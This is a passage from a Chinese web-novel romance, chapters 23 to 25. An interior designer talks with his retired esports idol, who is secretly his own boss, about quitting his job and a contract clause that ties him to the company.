那个七年没有新动向的声音,就这样从他面前不到三十厘米的手机里传来,还喊了他的名字…… 等等,喊了他的名字?! 郁思白顿时一慌,下意识说:“我在!” 像个被点名的毛头学生。 他抖了抖嘴唇,忽然意识到什么,问:“卡神你……认识我?” “在看直播,他们这么叫你。”Execut2说,语气同样平淡。 郁思白听见身后pupu小声说了句:“我靠,十个字!” 十个字!! 一瞬间,他脸颊烈火燎原一般热起来,庆幸自己戴着口罩,不会被男神发现自己听他说句话都脸红。 ……就,有点小变态。 郁思白等了一下,三秒后才确信Execut2似乎没有要结束话题的意思,于是弯着眼睛,壮着胆子说。 “那个,卡神……你现在这个微信号还在用吗?” “在。”Execut2说,“怎么?” 郁思白嘿嘿笑了声,说:“刚刚……就是今天早一点玩游戏的时候,我还以为你这个微信号不用了呢,抽了个惩罚牌,罚了杯酒。” 薛简问:“你抽到啥了?” “就……给微信置顶发消息,然后想办法让他道歉。”郁思白说。 薛简眼前一黑。 这他妈不就是给他的惩罚吗?一个字儿都不改的? 他瞪了眼郁思白,这人这会儿倒是眉眼弯弯,乖巧的紧。 早知道男神这个号还在用,刚刚就不喝酒了。郁思白想。 不喝酒的话也不会睡着,不睡着的话也不会看到老板过来,也不会话赶话说到辞职—— 没由来的,郁思白鼻间酸了一下,情绪还没来得及酝酿,他就听见电话那边的人疑惑开口。 “你有我微信?”Execut2问。 “嗯,有呀。”郁思白说,“还是您加的我。” 然后我就欠上二十万了。他美滋滋想。 电话那边没了声音——Execut2就是这样的,话少,冷淡,但偏偏又是个心软的好人。 郁思白不知道卡神还记不记得这茬,看反应应该是不记得了……但他今天跟男神说上话了!对方还知道他这个人,叫了他的名字!那不记得微信又有什么关系呢? 小事! 这样想着,郁思白扬起笑容:“没事儿男神……咳咳,卡神。我也不太——” “哪个是你?”Execut2打断他要转移话题的说辞,“给我发个消息。” 郁思白大脑完全僵住,只知道磕磕绊绊说“好”,去摸手机,他本以为会脱手很多次,没想到争气地一次稳稳抓住了。 他不知道Execut2要干什么……但他让做什么,自己就做什么。男神又不会害我! 可是,发什么消息过去呢? 打开置顶对话框,郁思白又犹豫起来。 他和Execut2的对话停留在七年前,他像唱独角戏一样问“卡神你真的要退役吗?是出什么事了吗?” 对面当然没有回复。 再往上翻,就是对方那句“等你攒够一百万再说还钱的事儿”。 他和Execut2的聊天记录只有短短的两页,太过贫瘠,却也被他挂在置顶上,反反复复看了七年。 半晌,郁思白还是什么都没想出来,又怕对方等急,在pupu连环手肘拐的催促里,下意识扣了个“1”。 发送。 【1】 郁思白看着跳出去的消息,忽然被当头一棒砸醒。 ……啊啊啊我都发了些什么过去!干嘛要发这种社畜味这么浓的东西啊!!郁思白!! 一口气没上来,郁思白刚要眼睛一闭,就见对面也跳出来两个字。 【收到】 闭眼变成了眨眼,郁思白忽然沉默,心里也沉默得半句脑补都没了。 电话那边也诡异地安静下来。 郁思白抱着手机,没过脑子地问了句。 “卡神,你现在在上班啊?” “……嗯。” “喔,这、这样啊……” 郁思白搓了搓衣角,反思自己是不是说了什么让人不大开心的话,可下意识又不想这段对话结束,喝了酒的大脑努力转动,终于乱七八糟地冒出一句。 “我刚刚辞职了。”- 几十米的落差下,地库里,那辆价格不菲的黑车还停在原地,一动未动。 刚刚开会的平板被重新架了上去,播放的却不再是跨国会议,而是ICG-pupu的直播间。 画面里,不久前还对他横眉冷对的青年捧着手机,口罩和帽子遮住大半张脸,仍然看得出那双明亮的眼睛。 和昨晚坐在他副驾上,打开礼盒的神情一样。 然后他就这样,眼睛亮亮地跟他分享——“我刚刚辞职了”。 毫不设防……满眼赤忱。 季闻则几乎能想到,那只口罩下面藏着两个梨涡。 他下意识轻笑了一声,开始思考怎么回复。 实话说,季闻则几乎要忘了七年前的自己是什么样了,但他记得薛简说过一句,res很像你。 于是他模仿着郁组长白天工作时惜字如金的状态,淡淡问:“为什么。” 他自认已经装得很像了,但直播画面里,青年那双眼睛却忽然困惑了一下,侧过头,摸了摸鼻子,抿着笑说。 “卡神……你刚刚笑的那声,好崩人设啊。” 后视镜诚实地映出季闻则陡然顿住的笑容,还有头疼时,抬手按住额角的动作。 他闭上眼睛,再开口,用一种失去所有感情的语气,僵硬地说。 “辞职挺好,真为你高兴。” 他忽然有些怀疑起自己的决定。 为了打探辞职理由做到这个地步……这一切真的值得吗?—— 作者有话说:真[化了]为[小丑]你[柠檬]高[裂开]兴[爆哭] 感谢大家来看这个故事,争议评论我有看到,但时间都得拿来写更新,就不回复啦。两个主角都有各自的过往和不得已,我会慢慢在后文讲给大家~v后会努力更新哒,努力讲好这个故事,希望大家喜欢。 营养液欠债(0/2),每天日六之外还嗷! 明天白天再搓个二更出来[亲亲]写完就更~ [猫爪] 第24章 “辞职挺好, 真为你高兴。” 听到男神冷淡的声音说出这句话的时候,郁思白眼睛弯了起来,心里最后那点辞职的茫然, 也被这句话轻轻吹散。 他想了想,也送上最诚挚的祝福:“谢谢卡神!唔, 也祝你可以早日辞职!” 薛简尴尬地挠了挠耳朵, 撇开眼睛心想。 这位可不兴辞啊…… “薛简。”Execut2开口,薛简诶了一声,立刻会意,上前拿回手机道,“那我挂了啊。” “嗯。” 薛简收手机的时候,郁思白看见他给Execut2的备注——【当牛做马倒霉蛋】。 刚因为挂电话而空落下来的心里, 不免一个咯噔。 老天爷……他男神退役之后,不会真的去当打工人了吧。以Execut2那个性格…… 不得狠狠整顿职场?那也太爽了! 帽檐下, 郁思白眉眼飞扬。 怪不得男神会为他辞职高兴, Execut2永远是那个天生反骨的世界冠军!他就知道! 嘿嘿,那我这样, 算不算和Execut2一脉相承,还得到本尊认可了? 一直到散场,郁思白整个人都是飘着的,pupu甚至怀疑他是不是又偷喝了酒。 “嗯……?真没喝。”郁思白慢了半拍, 却还是义正词严, “万一一会儿惩罚又能抽到给卡神打电话呢?我可不能发酒疯。” pupu翻了个巨大的白眼。 梁路走在他旁边, 贴的很近,就防着他一脚踩空,显然也并不相信这人没喝多。 “小白哥。”他犹犹豫豫一路,还是开口, “原来你那个微信置顶……是卡神啊。” 郁思白不以为意地“嗯”了声,顿了顿说:“不然呢?” 梁路不好意思道:“其实之前……我看到你那张牌了。看你不想做惩罚,我还以为、还以为……是什么、忘不了的前任之类的……” 他声音越来越小,却还是被两个哥哥听了个真切。 pupu一点儿面子也没给,大笑道:“你白哥这么多年都忙着搞钱呢,搞钱之外的时间就是明恋追星你卡神,哪儿还有谈恋爱的时间啊。” 说完还觉得不够,又用一种咏叹调的语气道。 “你小白哥的青春啊——都献给了Execut2……诶。”他忽然用手肘拐了下郁思白,挑眉问,“感觉怎么样?” 郁思白走着神,又是慢半拍:“什么?” “还说没喝!”pupu跺脚,“你跟卡神说上话了诶!十个字!” 他强调:“卡神回我的,加起来都没有十个字,一句话就回你十个字!还有九个字的!” 不说这个还好,一说这个,就仿佛碰到了什么郁思白的开关,眼睛一弯,嘿嘿傻笑两声,笑完又清清嗓子。 “是吗,我没注意数。”他故作冷静,实则暗爽道,“下次我数数吧。” “还想有下次?你咋有下次。”pupu问。 郁思白一双兴奋的眼睛一转,提议:“你说我能不能去找他聊天?”顿了一下又自己摇头,“不急不急,总得找个话题再说……” 梁路看着他,忽然说:“可是小白哥,人都会变的。万一聊过之后,你发现他不是你以前喜欢的那个Execut2了怎么办?” 郁思白嘟嘟囔囔的声音被骤然打断,他脚步都随之停下,目光还看着远处发呆。 pupu扯了他两下,他才重新迈步,垂眸认认真真想了一会儿,开口。 “可是我不去了解的话,又怎么能知道呢?”他声音稳稳当当,没有半点酒劲,末了又扬起笑容,一弯眼睛说。 “而且我觉得他不会变。因为他就是这样的人。”他说,“kulu你年纪小,不了解他,他当年……” 梁路打断:“那小白哥,你会跟他见面吗?” 郁思白愣了愣,抬手狠狠戳了一下男生的脑门,笑道:“你真行啊kulu,比我还敢做梦。ketya和副教练他都不见,哪会见我?” 梁路捂着脑门,憨憨地笑了一下,正要接着卖个乖,郁思白已经丢下他转身去扯pupu。 “璞宝,你回去一定要第一时间把直播回放传上去啊,我等着切片呢。”郁思白催促。 pupu“啊”了声,好笑道:“户外直播我不开自动回放的啊,还是上次跟你出来的时候你说的,给你的小马甲上个多重保险。” “……可恶!”郁思白咬牙,低头噼里啪啦发了条动态。 【Respit2:求今晚的录屏QAQ你们知道我要哪段的,谢谢谢谢谢谢!】 评论区顿时反客为主,热评第一说【桀桀桀,主播,你也有跟我们讨饭的一天啊】 下面楼中楼又是一波嘴脸反转。 【楼主:已发送,私信请查收】 【有本事你别发】 【你就说你录没录吧】 【并非讨饭,是我们上赶着喂饭】- 郁思白风尘仆仆、像只轻飘飘的气球一样飞回了家,哼着歌洗了个澡,头一次没开电脑,直接扑进柔软的被窝。 打开J站后台,动态评论区、视频@、私信里全都挤满了粉丝的录屏指路,点进去,每个人都在跟他说“恭喜恭喜”。 床头暖白的灯填满梨涡,郁思白捧着手机,有种被赛博拜年的感觉。 他正站在家门口,从排着长队的观众手上一个个接过新年礼物——Execut2打电话录屏,观众对他说“恭喜”,他也开开心心给每个人回复“谢谢谢谢,新年快乐!”。 他真的就这样一条条回复了过去,没漏掉任何一个。 直到有人发现他勤勤恳恳地回评论,去直播群里喊了一嗓子“卧槽别艾特了,主播再回下去要睡不了觉了”,不断增长的私信数目才渐渐稳住。 郁思白一点也没觉得累,胳膊夹着深灰色被角,在床上打了个滚儿,人就成了一只上岸的海豹条。 卧室里的小音箱放着优雅又明媚的《golden hour》,让他觉得自己翻身的动作都颇有韵律感。 胳膊被被子暂时吃掉之后,他放空思绪,仰着肚皮看着天花板。 开心…… 真的,特别开心。 很久没有这么开心过了。 就是拿下誉衡别苑那么大的项目的时候,都比不上现在开心的零头! 果然,工作永远不会使人开心的。他坚定地想。 辞的好!辞职之后……对,辞职之后他就可以光明正大用设计师郁思白的履历去申请小展台了! 他要实名制追星了! 刚歇下来的手又蠢蠢欲动起来,上岸海豹翻了个身,爪子又扑腾出来,抱上了难舍难分的手机,准备产出一条屏蔽掉工作分组的新鲜朋友圈。 然而刚点开朋友圈,郁思白就愣了一下。 左手揉揉眼睛,右指头下滑刷新——挂在最上面的,竟然还是那个蓝白边牧丑图头像。 【Execut2:小姑娘[图片]】 配图还是那条蓝白边牧,歪眉斜眼四仰八叉,比起头像,更是丑出了风格。 丑萌丑萌的。 ……等等。 郁思白倒吸一口凉气。 他能看到Execut2朋友圈了??! Execut2会发朋友圈……Execut2还把他划进能看朋友圈的分组了! 隔着屏幕,他和那条狗大眼瞪小眼。好半晌,才强压着震耳朵的心跳,偷偷摸摸潜进Execut2主页。 然后被一句“仅三天可见”打回原形。 人一旦把期待拔得太高,就容易不幸福。郁思白在心里狠狠批判了自己,然后知足常乐地存下了狗图。 想了想,他觉得既然来了,也不能悄悄地进村。于是点了个赞,热情留言。 【好可爱的新鲜捷风宝宝——我也好想养狗,可惜这里不让养QUQ】- “……能不能别玩你那个手机了,我在跟你说很重要的事啊!” 薛简坐在车后座,表情要吃人似的,就差抬腿一迈踩上中控台了。 被他大骂的司机好整以暇地坐在主驾,头侧到左边,一直摆弄着手机。 而车,还四平八稳地停在KTV楼下的地库。 薛简把副驾头枕拍得震天响:“你疯了吧,说好的退役了就是死了呢?以前我劝你登个微博发条祝贺,你都跟个贞洁烈男一样不干,现在是干啥呢?季闻则你要自己把自己牌坊砸了啊!” “物尽其用,哪里不好?”季闻则给他一个后脑勺,笑道。 “真行。”薛简鼻子喷火,“你也没把自己当人。” 闻言,季闻则终于侧头,挑眉瞥了他一眼:“我当牛做马,Execut2魂归西天,哪个是人?” 被点出备注的薛简一哽,顿时觉得自己跟founder哭诉“季闻则现在好惨”,真是滑天下之大稽。 他屁股终于落回座位上,老牛似得出了口气,横声问:“你真同意他辞职了?” “说是说了,但还有一个月时间,徐徐图之吧。强扭的瓜也不甜。” “这会儿倒是不急不缓上了。”薛简啧道,“你以前扭的还少吗?” 季闻则哑然笑道:“他不合适。” 薛简腿一翘:“随你便,那我可就出手了?” “下个月吧。他要是真离职了,你就把人接到ICG去。” 薛简一嗤:“哦,然后你告诉他是本Execut2大人开口把你拉进来的,他又谢上你了?我跟你说季闻则,不可能啊。好处哪儿能都让你得了?” 季闻则收回视线,看着手机没说话。 一想到自己在KTV直播时的那副怂包样,薛简越想越觉得自己不争气,心一横说:“反正你都答应他辞职了,那就公平竞争呗。看是你能留住人,还是我能挖来人——我跟你说我等这一天很久了。” “唔……”季闻则垂眸沉吟。 薛简以为他怕了,胸中顿时豪情万丈,机敏道:“到时候我就跟他说,res你来ICG,我把你卡神绑过来给你签入职合同——嘻嘻,你猜他来不来?” 季闻则忽然把手机往他这边一侧,蹙眉苦恼问:“你觉得我怎么回?” 屏幕上,赫然是res本人热情乖巧又可爱的、对Execut2朋友圈的评论。 薛简:…… 薛简:“季闻则我□□爹的!!” “死了。”季闻则随口笑了下。 薛简被地狱笑话暴击,半晌才道:“你想怎么回?” 季闻则思索着:“给他提供方案?比如换到别的地方去住……” “恭喜你在模仿Execut2比赛里获得倒数第一的好成绩。”薛简嘲笑,“正确答案是,你以前根本不会回。” 季闻则愣了下,硬生生把那句“这么没礼貌”咽了下去。 “我说,就你这水平,别哪天自己装不下去被拆穿了。”薛简说,“你真是昏头了吧。” 他皱着眉,连珠炮似的的:“把‘Execut2’那么干脆掐死的是你,现在突然搞诈尸的还是你……” “薛简。”季闻则忽然打断,“行了。” “……行,不说了。”薛简缓了口气,点头,“但你也不想res知道Execut2现在变成他们季总吧?” 季闻则一哂:“那又怎样,他当年都没见过Execut2……” “他对Execut2的了解,不比我和ketya差。”薛简一字一顿,“也只会比我们更在意,‘Execut2’还是不是那个人。” 季闻则唇边的笑意终于落尽。 “哥们儿不会害你,就一句劝告——剪不断理还乱。”薛简说着,拉开车门,“得,接我的车来了。” 季闻则瞥他:“你一过来就往车里闯,我还以为你要蹭我车回去。” 薛简目光古怪:“我看你是真失心疯了……你不是不载人吗?卡神,连季总的设定都忘?邯郸学步呢?” “……滚吧。”季闻则摆手。 “卡味儿挺正。”薛简忽然一乐,“加油啊,装模作样的大老板。” 薛简甩手离开,季闻则目光落回屏幕上,半晌,斟酌着回了两个字。 【加油。】 加油工作赚钱,换房子养狗。 回复完,他把手机往副驾一丢,低头拢了下头发。 郁思白、郁思白…… 他靠近驾驶座,脑海里从头到尾,把这一周以来郁思白相关的事全过了一遍。 不愿意做管理肯定是他的实话,但不可能是全部的理由。 如果他真的排斥管理,那他连这个组长都不会去当。而毫无疑问,他这个组长当的不仅合格,甚至比优秀更高一个等级。他的管理能力、组织能力绝无问题。 季闻则不觉得,在做一件事很轻松的时候,有人还会排斥去做它。 管理并不是大问题,有大问题的……恐怕是他自己。 郁思白对他不满。 为什么?- 第二天一早,季闻则挂着不明显的黑眼圈醒来。他睡眠本就一般,心里惦记着事儿,睡得就更不安稳。 但该起还得起,哪怕是周六,他中午也有会议要开。 等待三明治机吐早餐的间隙,季闻则顺手打开微信朋友圈。 季总早上起来的第一件事,是玩手机——浏览一遍x总x董们的朋友圈,并依照关系亲疏、合作深度,点赞评论。 然而今天他划了两下,刚刚醒来的大脑略感困惑。 第一条是薛简:爷们儿要战斗! 第二条是宠物医院医生的噶蛋广告。 第三条…… 【Respit2:啊啊啊后悔喝酒!我说的都什么话啊!死嘴QAQ】 季闻则视线顿住,终于被这个id兜头一泼,彻底清醒了。 手机上登着的是Execut2的微信,昨晚登过,就没退。 Execut2这个微信号,知道的人很少。毕竟他刚决定回国打职业就宣告退役,还没来得及跟国内选手加个微信。后来随着退役,这号也渐渐被尘封,只薛简和宠物医院医生还在用这个号联系。 号倒是一直登在他的生活手机上,但他几乎没有什么生活,那部手机自然也就是个摆设。 昨晚临时在工作手机上登Execut2账号的时候,还废了一番功夫。 目光在Respit2的后悔呐喊上略过几遍,季闻则刚安静了片刻的脑海里,又播放起郁思白昨晚在车上的胡话。 片刻后,他缓缓挑眉。 这是后悔提辞职了? 也对,这家伙昨晚是带着酒的,清醒过来后悔也正常。 又看了一会儿,季闻则终于有了一种一切都回归正轨的感觉。 昨晚的兵荒马乱好像是郁思白酒后的大梦一场,而自己只是陪他演了出戏。 他笑了下,神清气爽地退出Execut2的微信,重新登上工作号,给杨孟越发了条消息。 【周一如果郁思白来交辞职申请,你驳回去,告诉他酒后的话不作数,我就当没发生过。】 季闻则按部就班地浏览完工作号的朋友圈,忽然想起什么,给薛简发了条“解决了”。 Execut2这个微信号,应该不会再在工作手机上登陆了。他想- 工作四年多,郁思白头一遭度过了一个半点班都没加的周末。 直播、跟观众炫耀“Execut2打电话跟我说了十个字”的录屏切片、被观众骂、傻乐——这就是他的美好休息日。 周一他神清气爽地走进公司,往工位一坐,第一件事就是打开word,郑重而兴奋地敲下四个字。 【辞职申请】 在家写好是不可能的,这种浪费时间的事儿,他当然要拿到公司来。 期间,办公室的门被敲响,赵秘书探了半个身子进来说:“上午例会取消了,季总有别的会议要参加。群里通知了,我看你们组没人回复,就来说一声。” 他头一次当报喜鸟,一组众人也第一次对他有了好脸色,笑眯眯挥手再见。 等赵秘书离开,办公室不知谁先看了眼群,紧接着“卧槽”一声。 “靠,以后周一晨会都不开了?真的假的!” “季总伟大!!” “又臭又长的b晨会终于似了。” “对啊,都不知道有什么意义,所有人按在那儿听一堆跟自己部门无关的东西……简直浪费时间浪费生命。” “组长……组长!好事儿啊!” 郁思白一推眼镜,打字的手没停,淡淡道:“嗯。” 组长一如既往宠辱不惊,众人肃然起敬,渐渐也都进入工作状态。 高向日问:“组长,誉衡别苑那个项目咱啥时候开始搞?” 噼里啪啦、噼里啪—— 郁思白手指一僵。 誉衡别苑。 不对。 誉衡别苑……是季闻则在来之前就跟段总谈好的,对方……指名要设计一组郁思白来带项目。 郁思白霎时间变了脸色,起身道:“天骄,誉衡别苑的合同拿来我看一下。” 武天骄动作很快,没半分钟合同就递到他面前,郁思白刷拉拉翻动,眉头紧皱,心里默念着“不要不要”。 然后就在某一页找到了他最不想看到的句子。 大意是,郁思白不干就算违约。 甚至是加粗字体。 啪! 郁思白重重合上合同,用了十足的力道,仿佛巴掌拍上的是季闻则的脸。 季闻则……老狐狸……季老狗!! 我说你怎么答应得那么干脆? 原来在这儿等着我呢! “组、组长……?”远处探头探脑的高向日哆嗦了一下。 他第一次看到组长……这么生气。 组长眼睛里在冒火啊!! “我上去一趟。”郁思白沉声说。 高向日慌忙去拦:“等等组长,咋回事——” 武天骄往后面一站:“要我跟您一起吗组长。” 高向日:? 妹儿你这样显得我很怂逼。 但郁思白摇头:“这是我和季闻则的事。”说罢,拎着合同就走,风衣衣摆猎猎,如同荆轲刺秦。 没过两分钟,全公司都知道郁组长一边直呼老板大名,一边满身杀气地往1702去了。 有几个好事儿的人跟着往楼上去,向来喜欢掺和的钱翀却缩在办公室里,拒绝了所有的八卦,像个鹌鹑。 郁思白杀到1702,刚敲了下门,杨孟越就从隔壁1703出来。 “季总在开会。”她用眼神示意是在1701,放轻声音说,“郁组长是来送……” 郁思白甩了一下手里的合同,面对杨孟越,他火气也落了些,只冷道:“季闻则是不是早就知道。” 杨孟越神情复杂。 明明上个周五,她还刚刚拟了郁组长升总监的文件……怎么过了个周末就突然变成收人辞呈了。这不对吧。 但职责在身,她也只公事公办道:“季总只交代了如果你来,就告诉你,酒后的话不作数,他就当没发生过。” “那我倒是得承季总的情了?”郁思白扯了下嘴角,把手里翻到那页的合同递给杨孟越,“麻烦姐转交给他。” 杨孟越低头看了眼,见不是辞呈,总归是松了口气,又问:“有什么要说的吗?” 被她这么温温柔柔问了几句,郁思白再大的火也自己掐灭了,眼下忽然只剩一身疲惫:“就说……” 他张了张嘴,半晌吐不出半个字,最终还是摇头。 “算了,就这么的吧。谢谢姐。” “没事。”杨孟越笑了一下,看了眼四下无人,又轻声说,“有什么需要我帮忙的,你尽管开口。” 郁思白眨了眨眼,疑惑。 杨孟越说:“向日当年是被你力排众议启用的,他是个莽的,我替他承你这个情。” “姐,你跟向日……”郁思白发愣。 “是的,我们有一个三岁的女儿。”杨孟越歪了歪头,语气俏皮,似乎是想借此逗他一笑。 郁思白抿唇,想扬起嘴角,却被心口的大山压得动弹不得。 “去吧去吧。”杨孟越拍了拍他的肩膀。 “……谢谢姐。” “也谢谢你呀。”杨孟越说。 郁思白乘电梯下了楼,杀气腾腾出门,死气沉沉地回来。 他摆手让探头探脑的向日葵组员们都回去工作,多看了高向日一眼,想说什么,又没劲儿地闭嘴了。 他就这么晃荡着,安安静静坐回自己的椅子里,胳膊误触了鼠标,息屏的电脑屏幕亮起来,白底黑字的字迹刺得他眼睛发疼。 【辞职申请】 尊敬的季总…… 郁思白咬了下唇。 食指悬在退格键上片刻,还是落了下来,压得死紧。 光标闪烁,写了大半的东西顷刻消弭,只剩一张空白的纸面,删无可删,发出嘟嘟的报错声。 郁思白松了手,就这么愣愣坐了好一会儿,在众人担忧的目光里霍然起身。 “天骄,帮我请个假。” “向日……上午的工作你带一下。” “好。”武天骄什么都没问,一低头,温柔的粉色头发在灯光下竟映出些寒光来。 “我知道了。”高向日也压低眉毛,难得沉声- 1701会议结束,杨孟越跟着季闻则送了人,回到办公室之后第一时间拿上东西过去。 “人来过了?”季闻则推开办公室的门,声音有点哑,边走边问,“他什么反应?” “郁组长没交辞呈,只拿了这个让我转交给您。”杨孟越递上合同,看了眼季闻则的表情,斟酌着说,“然后请了半天假,看起来……情绪不高。” 季闻则示意她放在桌上,接了杯水先喝了两口,闻言轻笑:“情绪不高?是觉得发酒疯不好意思了?” 杨孟越心里有了大概的判断,笑说:“应该不是。” “这小孩……”季闻则摇头,“也行,不提辞职就是好事。” 说着,他放下水杯拿起桌面的合同,看了两眼,目光却忽然定住。 紧接着,脸上轻松的笑意落了个无影无踪。 杨孟越第一次见到上司露出这样的表情。 季闻则向来是胜券在握的——从他以一个普通职员的身份到公司的第一天起,仿佛就没有什么事情在他的计算之外。 而此刻,这位名利场的常胜将军皱着眉,搭在桌面的指节下意识用力,低声说。 “……坏了。” “季总?”杨孟越出声。 桌上的文件里明明白白、加粗写着一项被他完全忘到脑后的条款——他是有很大的把握能在一个月内留住郁思白,但不是用这种愚蠢、又下作的手段。 “叫郁组长上来……算了,我下去找他解释。”季闻则立刻转身,走了两步出去,才想起他请假离开的事儿,先是一怔,旋即眉头绞成一团。 “有他电话么?”季闻则问,在杨孟越点头表示可以查询后道,“拨给他。” 杨孟越很快拨通了郁思白的电话:“郁组长,我是杨孟越。季总有事想……” “抱歉杨姐,非工作时间,我想挂了。” 对面声音冷淡,让人没有半点回旋的余地。杨孟越看了眼季闻则,和郁思白道了再见。 季闻则忽然有些无措,指尖在桌面敲点的速度加快,半晌后似乎做了决定,转身从抽屉里拿出了那部很少用到的生活手机- 走出公司大门的时候,郁思白被太阳晃了一下,愣了愣,才想起抬手遮在眼前。 不是才春天吗,太阳怎么劲儿大得像要杀人。 他越过车流,低头走进对面大厦的咖啡店——这是附近打工人都熟悉的地方,即使不来、外卖也喝了个饱。 郁思白属于后者。 可一进门,他竟然听到吧台后店员讶异的耳语。 “这是16楼设计公司那个工作狂帅哥?他怎么这个点下来。” 店长擦着杯子瞥他:“还不允许人家休息了?……帅哥,要点什么。”他抬头,挂着笑看向郁思白。 郁思白移开视线,他现在对这种笑容有点排斥。 “冰美式。” “您要试试西柚生酪深烘吗?”店长笑笑,“这是我们上个月推出的新品,卖的很好,偶尔也尝点新鲜的试试?” 郁思白垂眸扫了一眼样品图,点头:“那就这个。” 名字花里胡哨的新品价格是冰美式的两倍多,店长笑容更真挚道:“西柚生酪深烘,温热五分糖,您坐。” 咖啡很快端了上来,郁思白抿了一口。 名字里的生酪并没有让咖啡显得甜腻,反而更多的是西柚带来的清爽口感,意外的好喝。 他又喝了一大口,看向窗外。 即使是工作日的上午,行人也并不都是匆匆。有些人带着耳机漫步街头,也有人和朋友手挽着手,时而说笑着跑开。 耳边传来咖啡店店员和店长的低语,洗杯子的唰唰声音,鼻间是咖啡豆的香气。 郁思白靠在椅背里,一时出神。 原来在他上班的时候,世界是这样运行着的。 眼前的一切都显得陌生而新奇,他像是来到了另一个世界一样。 上班,有意思吗?他忽然想。片刻后又觉得,季闻则可能就是那种,认为上班特别有意思的人吧,那话怎么说来着?与人斗其乐无穷? 玩弄人心,看人在他股掌之间像木偶牵线一样露出喜怒哀乐。 然后一把将人拍回一滩木头的原型。 郁思白端起咖啡,忽然被西柚味儿冲了一下,酸意直冲鼻间,被他强行压了下去。 誉衡别苑的违约金数额很大……他得再攒五张还钱的卡。 他赔不起。 就是赔得起,他也不能赔。 他倒是硬气走了,一组怎么办? 高向日被钱翀重新打压回去当个拿底薪的边角料? 武天骄因为长得漂亮被带去谈生意陪酒? 江勘因为心脏病熬不了夜被辞退失业? …… 小穆被塞进僵化的市场流水线,磨掉所有灵气,变成下一个室内设计雇佣兵郁组长? 郁思白垂下眼睛,推开咖啡,手肘搭上桌面,肩头终于不堪重负地落下来。 他弯着腰,整个人趴到桌面上,像上学时在学校午休,耳边却不是同学们窃窃私语的笑。 “店长,我下周能请个假不……” “要扣钱,一天两百。” “……那算了。” “小伙子,好好干,以后当店长。” “哈哈,好呢。” …… 郁思白忽然觉得好吵,从兜里摸出耳机挂上,按亮手机想找首歌,却看见微信上有个红点。 实在看不过眼,他还是点了进去。 是朋友圈的回复提示。 【Respit2:啊啊啊后悔喝酒!我说的都什么话啊!死嘴QAQ】 【Execut2回复:辞职?】 郁思白眨眼。 郁思白抬手搓搓脸。 郁思白像充了气的摇摆气球人,缓缓直立起来。 他手快地回复:【不是】,却在发出去的一瞬间收手。 吸了口气,他点开置顶了七年的对话框,慢慢地、认真地打字。 【不是……是后悔那天有点喝晕了,没跟你找一个能接着聊下去的话题。】 消息发出去之后,郁思白看了眼时间,又问。 【你在摸鱼吗?】 几乎同一时间,对面秒回。 【我不忙】 【可以找我】 郁思白忽然词穷,回了个【qwq】的颜文字。 死脑子!快想话题啊! 可大脑似乎还没从刚刚的倦怠中彻底醒来,连那天喝了酒的自己还不如。 郁思白用力锤了锤头。 【Execut2:辞职还顺利么】 郁思白提起一口气,几乎要热泪盈眶。 男神!!! 他男神怎么这么好……他男神在跟他找话题! 可下一秒,他就发现真的有一滴湿漉漉的眼泪砸在了屏幕上。 紧接着,又是一滴。 没人问还好,可被人这么一问,刚刚兀自沉积下去的情绪,顿时反扑上来,甚至比之前更有力,撞得他鼻梁酸涩,胸口生疼。 他胡乱抹了眼泪,打字。 【不顺利】 【我被骗了】 【我又被骗了】 【我吃一堑吃一堑吃一堑】 【天天吃!】 【Execut2:怎么回事儿】 【Execut2:说说】 【Execut2:语音也行,能听】 郁思白顾不得什么男神在不在摸鱼,一按语音键,叽里咕噜就把事情来龙去脉全说了,一边说,一边湿漉漉地吸鼻子。 最后他打字盖棺定论。 【他就是故意看我笑话】 【或者故意要我赔钱,男神我欠你的20万还没还,我不能再背五百万】 【大哭.jpg】 过了一会儿,对面大概是听完了他的语音,正在输入了很久,才迟疑着回复。 【说不定你老板只是忘了】 郁思白一扁嘴,心想男神估计是把他老板也整顿了,才会有这样善良的幻想。Execut2果然永远都是那个好人。 他反驳。 【不可能,我老板很精明,不会犯这种弱智低级错误。】 【Execut2:……】 【Execut2:嗯】 郁思白吸鼻子。 【老板是大傻比】 左上角对面正在输入了好一会儿,最后也蹦出一句。 【Execut2:对,他是大傻比】 【Execut2:为他哭什么】 【Execut2:周三藤竞要办嘉年华开放日,伴手礼不错,我帮你要个名额】 郁思白怔愣。 不是,等等,开放日…… 那不是藤竞给嘉年华意向设计师们专门开的活动吗?为了让这些圈外人设计师们理解游戏文化、更好地做出贴合游戏的场馆设计什么的…… 【Execut2:你去】 没等郁思白回神看清这条,对方就撤回了一条消息。 下一秒,被撤回的最后一句话重新跳出来,变了语气。 【Execut2:你想去么?】 抬手揉了下眼睛,郁思白没过脑子地问。 【伴手礼有你的周边吗】 【Execut2:……没有】 【Execut2:但可以单独给你加】—— 作者有话说:[猫爪] 第25章 办公室里, 季闻则看着屏幕上自己抛出的橄榄枝,眉头因为遇见难题而不自觉地微蹙着。 【Respit2:真好啊owo谢谢卡神!】 【Respit2:不过我还要上班呢,就不去啦。】 橄榄枝又被抛了回来。如果说他不愿意做总监还可以理解, 现在拒绝开放日,季闻则真的开始摸不准他的想法了。难道是对场馆项目已经没有兴趣了? 【可以请假。】季闻则打字。他记得庭季的全勤奖也是可以请假一次的, 这不冲突。 【Respit2:卡神你要是当老板, 肯定是个好老板/崇拜.jpg】 【不必对我抱有什么期待】 季闻则垂眸,想了一下又多问了一句。 【你对好老板的定义是?】 可等了片刻,对方说。 【Respit2:挂在路灯上可以被鞭子抽的就是好老板/开心.jpg】 【Respit2:……好像有点暴力了不好意思卡神我平时不是这样的人】 【Respit2:好吧其实我不想去开放日还有一个原因……】 季闻则已经很久没有这种,打出底牌,却被对方四两拨千斤的紧张了。 如果开放日也无法引起他的兴趣……那一个月之后,郁思白恐怕真的就要被薛简挖走了。 【Respit2:卡神你可能不知道, 嘉年华场馆不是在招设计团队嘛,我问过朋友, 这个开放日是藤竞给意向团队办的。我也是同行……万一遇见熟人不合适。】 郁思白打完这行字发出去, 放下手机抿了口咖啡,然后两只手拍上脸颊, 用力一挤,压力就在脸颊软肉的捏圆搓扁间消散了。 真没想到,会在这儿再次看到嘉年华场馆项目…… 话又说回来,卡神知道的真多啊。难道退役之后是去藤竞工作了, 所以才一下子人间蒸发? 郁思白心里生出些许探究来, 好奇心像海绵一样, 把泪腺里还没来得及溢出来的眼泪全吸了个干净。 他向来擅长自己哄自己。 一双眼睛灵动地一转,郁思白搓了下手,又问。 【对了卡神,十周年嘉年华你会去吗?】 对方回复很快。 【Execut2:抱歉, 可能不是你想听的答案】 郁思白又问。 【可是礼盒里有你的周边……】 